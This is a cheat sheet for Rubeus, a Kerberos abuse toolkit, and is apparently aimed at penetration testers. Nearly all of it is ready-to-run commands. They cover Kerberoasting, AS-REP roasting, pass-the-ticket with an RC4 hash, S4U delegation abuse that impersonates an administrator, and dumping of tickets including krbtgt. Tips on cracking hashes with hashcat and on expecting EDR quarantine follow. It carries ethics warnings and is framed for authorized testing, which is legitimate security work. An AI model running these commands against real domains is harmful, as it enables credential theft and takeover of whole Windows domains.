Rubeus Cheat Sheet
Kerberos abuse toolkit for ticket requests, roasting, and delegation attacks.
Overview
Rubeus is a C# toolkit for Kerberos operations on Windows: TGT/TGS requests, Kerberoasting, AS-REP roasting, golden/silver tickets (in advanced scenarios), and delegation abuse. Run on authorized domain-joined or attacker-controlled Windows hosts in lab/pentest—AV often flags it. Ethics: ticket forging and roasting compromise the domain; never use outside written scope.
Install
Compile or use prebuilt Rubeus.exe in isolated VM
Rubeus.exeEssential commands
Rubeus.exe asktgt /user:j.doe /password:Password1! /domain:corp.local /dc:dc01.corp.local /pttRubeus.exe kerberoast /outfile:hashes.txtRubeus.exe asreproast /format:hashcat /outfile:asrep.txtRubeus.exe klistCommon workflows
Request and inject TGT (pass-the-ticket) —
Rubeus.exe asktgt /user:administrator /rc4:31D6CFE0D16AE931B73C59D7E0C089C0 /domain:corp.local /pttRubeus.exe klistKerberoast (SPN accounts) —
Rubeus.exe kerberoast /statsRubeus.exe kerberoast /user:svc_sql /outfile:roast.txtAS-REP roast —
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txtRubeus.exe asreproast /user:donotpreauth /format:hashcatTGS for service (constrained / S4U when applicable) —
Rubeus.exe s4u /user:svc /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /pttMonitor / harvest tickets —
Rubeus.exe monitor /interval:5 /filteruser:administratorRubeus.exe triageRubeus.exe dump /luid:0x12345 /service:krbtgt /nowrapRenew / purge —
Rubeus.exe renew /ticket:<base64>Rubeus.exe purgeFlags reference
asktgt | /user, /password, /rc4, /ptt |
|---|---|
kerberoast | /user, /outfile |
asreproast | /format:hashcat |
s4u | /impersonateuser, /msdsspn |
ptt | /ticket |
purge | — |
Tips
- Ethics: roasting generates 4769 events; AS-REP and golden-ticket paths are critical findings—report immediately in prod tests.
- Prefer impacket-GetUserSPNs / GetNPUsers from Linux when you lack GUI shell on Windows.
- Use /nowrap for hashcat-friendly lines; verify -m 13100 vs 18200.
- Run from sacrificial process or dev VM; expect EDR quarantine on corporate endpoints.